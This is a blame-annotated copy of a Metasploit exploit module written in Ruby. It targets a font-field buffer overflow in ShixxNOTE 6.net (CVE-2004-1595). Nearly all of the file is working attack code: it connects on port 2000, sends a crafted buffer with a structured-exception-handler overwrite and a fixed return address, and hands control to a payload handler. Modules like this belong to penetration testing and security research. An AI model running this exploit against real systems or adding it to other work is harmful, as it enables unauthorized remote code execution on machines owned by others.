2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/projects/Framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
|
2006-09-13 06:20:05 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2006-09-13 06:20:05 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::Remote::Seh
|
2006-09-13 06:20:05 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'ShixxNOTE 6.net Font Field Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a buffer overflow in ShixxNOTE 6.net.
|
|
|
|
The vulnerability is caused due to boundary errors in the
|
|
|
|
handling of font fields.
|
|
|
|
},
|
|
|
|
'Author' => 'MC',
|
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-09-13 06:20:05 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2004-1595'], ['BID', '11409'],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 650,
|
|
|
|
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'ShixxNOTE 6.net Universal', { 'Ret' => 0x10041951 } ],
|
|
|
|
],
|
|
|
|
|
|
|
|
'Privileged' => false,
|
|
|
|
|
|
|
|
'DisclosureDate' => 'October 4 2004',
|
|
|
|
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(2000)
|
|
|
|
], self.class)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
2007-03-01 08:21:36 +00:00
|
|
|
sploit = rand_text_alpha_upper(8, payload_badchars)
|
2006-09-13 06:20:05 +00:00
|
|
|
sploit += "~~"
|
2007-03-01 08:21:36 +00:00
|
|
|
sploit += rand_text_alpha_upper(118, payload_badchars)
|
2006-09-13 06:20:05 +00:00
|
|
|
|
|
|
|
seh = generate_seh_payload(target.ret)
|
|
|
|
|
|
|
|
sploit[112, seh.length] = seh
|
2007-03-01 08:21:36 +00:00
|
|
|
sploit += rand_text_alpha_upper(200, payload_badchars)
|
2006-09-13 06:20:05 +00:00
|
|
|
sploit += "~" * 10
|
|
|
|
|
|
|
|
sock.put(sploit)
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2008-10-19 21:03:39 +00:00
|
|
|
end
|